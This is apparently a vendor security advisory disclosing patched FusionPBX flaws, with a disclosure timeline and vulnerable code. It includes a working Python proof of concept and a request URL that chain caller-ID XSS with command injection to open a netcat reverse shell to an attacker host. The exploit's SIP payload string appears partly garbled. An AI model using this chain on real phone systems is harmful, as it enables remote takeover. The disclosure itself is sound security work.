Friday, June 7, 2019 At 10:52AM
Aon’s Cyber Solutions has recently discovered several vulnerabilities in FusionPBX, an open-source VoIP PBX application that runs on top of the FreeSWITCH VoIP switch. These vulnerabilities allow for novel exploitation vectors, including an exploit chain that is triggered by a phone call with a malicious caller ID value that leads to remote code execution. This post provides an overview of a selection of the discovered vulnerabilities, and details of the caller ID RCE exploit chain that combines CVE-2019-11408 and CVE-2019-11409. Future posts will cover additional FusionPBX vulnerabilities and their exploitation, including one triggered by sending a malicious fax. All vulnerabilities described in this post have been patched.
Timeline:
04/04/19 – Vulnerabilities disclosed to FusionPBX
04/05/19 – Developer pushes preliminary patches to the project’s Github
04/07/19 – Attempt to contact developer to discuss coordinated disclosure
04/09/19 – Developer responds and states that they do not intend to publish advisory or otherwise disclose the existence of the vulnerabilities
04/22/19 – CVE IDs obtained and shared with developer, 2nd request for coordination of public disclosure, no response received
05/22/19 – Aon provides updated patch for CVE-2019-11409 in a pull request
06/02/19 – Pull request accepted
06/06/19 – Aon public disclosure
Vulnerability Listing / Credits:
CVE-2019-11408: Dustin Cobb – XSS in Operator Panel
CVE-2019-11409: Dustin Cobb – Command Injection in Operator Panel
CVE-2019-11410: Dustin Cobb – Command Injection in Backup Module
CVE-2019-11407: Dustin Cobb – Information disclosure through debug parameter
Details:
CVE-2019-11408 – XSS in operator panel
The operator panel module in FusionPBX suffers from a serious XSS vulnerability in the index_inc.php file. The caller id number string isn’t properly output encoded before being rendered. The output of this file is used by the index.php file, which refreshes every 1500ms by making an ajax call to the index_inc.php file. The screen is designed to be used by a call center operator who wishes to monitor call activity on all of the extensions in the system. Because this screen is designed to be constantly monitored by the operator, this becomes a more serious issue than an XSS vulnerability on an infrequently visited page. An attacker may inject an XSS payload into the caller id number field of an inbound call, which can originate from the PSTN. This vulnerability can be chained with CVE-2019-11409, resulting in remote code execution by an unauthenticated attacker. This is demonstrated by the exploit code provided below.
In summary, an attacker may initiate a call from outside of the network with a specially crafted caller id number and, should the operator have this screen up at that time, gain remote code execution resulting in full system compromise.
The vulnerable code is shown below. On line 47 in the index_inc.php file, get_call_activity() is called:
46 //get the call activity 47 $activity = get_call_activity();
On line 40 and 41 of the get_call_activity() function, we can see that the call activity values are being retrieved from FreeSWITCH via an event socket API call. On line 114, the caller id number value is being extracted from that JSON response. Note that, at no point, has the code performed any sanitization or html encoding operations.
app/operator_panel/resources/functions/get_call_activity.php:
37 //send the command 38 $fp = event_socket_create($_SESSION['event_socket_ip_address'], $_SESSION['event_socket_port'], $_SESSION['event_s ocket_password']); 39 if ($fp) { 40 $switch_cmd = 'show channels as json'; 41 $switch_result = event_socket_request($fp, 'api '.$switch_cmd); 42 $json_array = json_decode($switch_result, true); 43 } […] 112 $array[$x]["state"] = $field['state']; 113 $array[$x]["cid_name"] = $field['cid_name']; 114 $array[$x]["cid_num"] = $field['cid_num'];
Once the get_call_activity() function returns with the unsanitized caller id number value, we can see that this is extracted to the $call_number, which is then directly concatenated into the HTML on line 369:
app/operator_panel/index_inc.php:
215 $dir_icon = 'inbound'; 216 $call_name = $activity[$ext['cid_num']]['effective_caller_id_name']; 217 $call_number = format_phone($ext['cid_num']); […] 368 $block .= " </td></tr></table>"; 369 $block .= " <span id='op_caller_details_".$extension."'><strong>".$call_name."</strong><br>".$call_number."</span>"; 370 $block .= " </span>";
CVE-2019-11409 – Command injection in operator panel
The exec.php component of the operator panel module suffers from an API command injection vulnerability. This code is meant to send certain commands to the FreeSWITCH event socket interface, like disconnect calls or initiate call recording. However, the command actually being sent to the event socket interface is entirely controlled by the “cmd” parameter. Although authentication is required for exploitation, administrative privileges are not. No CSRF protection is in place, making it possible to target authenticated users with HTML payloads that can silently exploit the issue. It can also be chained with the XSS in CVE-2019-11408 to achieve unauthenticated remote code execution. To exploit this issue, an authenticated user with access to the operator panel interface simply needs to make a request such as this:
https://victim-pbx1.example.com/app/operator_panel/exec.php?cmd=system%20nc%20-e%20/bin/bash%10.10.10.10%204444
The vulnerable code is shown below. On line 51, we can see that the $switch_cmd variable is being initialized with the value from a GET parameter. While an attempt is being made to sanitize the value for normal command injection characters, none are needed in this case. We simply issue a command directly.
/app/operator_panel/exec.php
50 if (count($_GET)>0) { 51 $switch_cmd = trim(check_str($_GET["cmd"])); 52 $action = trim(check_str($_GET["action"]));
On line 162, we see that the command is being sent directly to the event socket interface:
162 $switch_result = event_socket_request($fp, 'api '.$switch_cmd);
When sending the FreeSWITCH “system” command, any shell command can be executed within the context of the FreeSWITCH user.
Exploit Code (chains -11408 and -11409):
#!/usr/bin/python import socket, sys from random import randint from hashlib import md5 # Exploitation steps: # # 1. First, encode an XSS payload that will be injected into the “Caller ID Number” field, or “User” component of the SIP “From” URI. # 2. Connect to external SIP profile port and send a SIP INVITE packet with XSS payload injected into the From Field. # 3. XSS payload will fire operator panel screen, which is designed to be monitored constantly by a call center operator. # 4. Once XSS code executes, a call is made to the exec.php script with a reverse shell payload that connects back to a netcat listener on the attacker system. Refer to vulnerability #2 in this document for details. # edit these variables to set up attack victim_addr="10.10.10.10" victim_host="victim-pbx1.example.com" victim_num="12125551212" attacker_ip="10.10.10.20" attacker_port=4444 def encode(val): ret="" for c in val: ret+="\\x%02x" % ord(c) return ret callid=md5(str(randint(0,99999999))).hexdigest() cmd="nc -e /bin/bash %s %d" % (attacker_ip, attacker_port) payload="q=new XMLHttpRequest();q.open('GET','exec.php?cmd=system %s',true);q.send();" % cmd xss=";tag=%s To: Call-ID: %s CSeq: 1 INVITE Contact: Max-Forwards: 70 User-Agent: Exploit POC Content-Type: application/sdp Allow: INVITE, ACK, OPTIONS, CANCEL, BYE, SUBSCRIBE, NOTIFY, INFO, REFER, UPDATE, MESSAGE Content-Length: 209 v=0 o=root 1204310316 1204310316 IN IP4 127.0.0.1 s=Media Gateway c=IN IP4 127.0.0.1 t=0 0 m=audio 4446 RTP/AVP 0 101 a=rtpmap:0 PCMU/8000 a=rtpmap:101 telephone-event/8000 a=fmtp:101 0-16 a=ptime:2 a=sendrecv""" % (victim_num, victim_host, xss, callid, victim_num, victim_host, callid) payload=payload.replace("\n","\r\n") s=socket.socket() s.connect((victim_addr,5080)) print payload print s.send(payload) data=s.recv(8192) print data
Reproduction Steps:
1. View the vulnerable operator screen in a web browser, located in this example at https://10.10.10.10/app/operator_panel/index.php
2. Start a netcat listener on a remote system, 10.10.10.20 in this example
3. Run the exploit code above on the remote system in another terminal window
4. The exploit will connect to the netcat listener and provide a reverse shell
CVE-2019-11410 – Command injection in backup module
The restore function in the backup module of FusionPBX suffers from a command injection vulnerability. An authenticated user with admin privileges may upload a file with a specially crafted filename which will result in remote code execution via shell command injection.
CVE-2019-11407 – Information disclosure through debug parameter
The operator panel module suffers from an information disclosure vulnerability that reveals sensitive information, such as the password for the FreeSWITCH event socket interface. This is due to a debug parameter which dumps the contents of several arrays, most notably the $_SESSION array.
Author: Dustin Cobb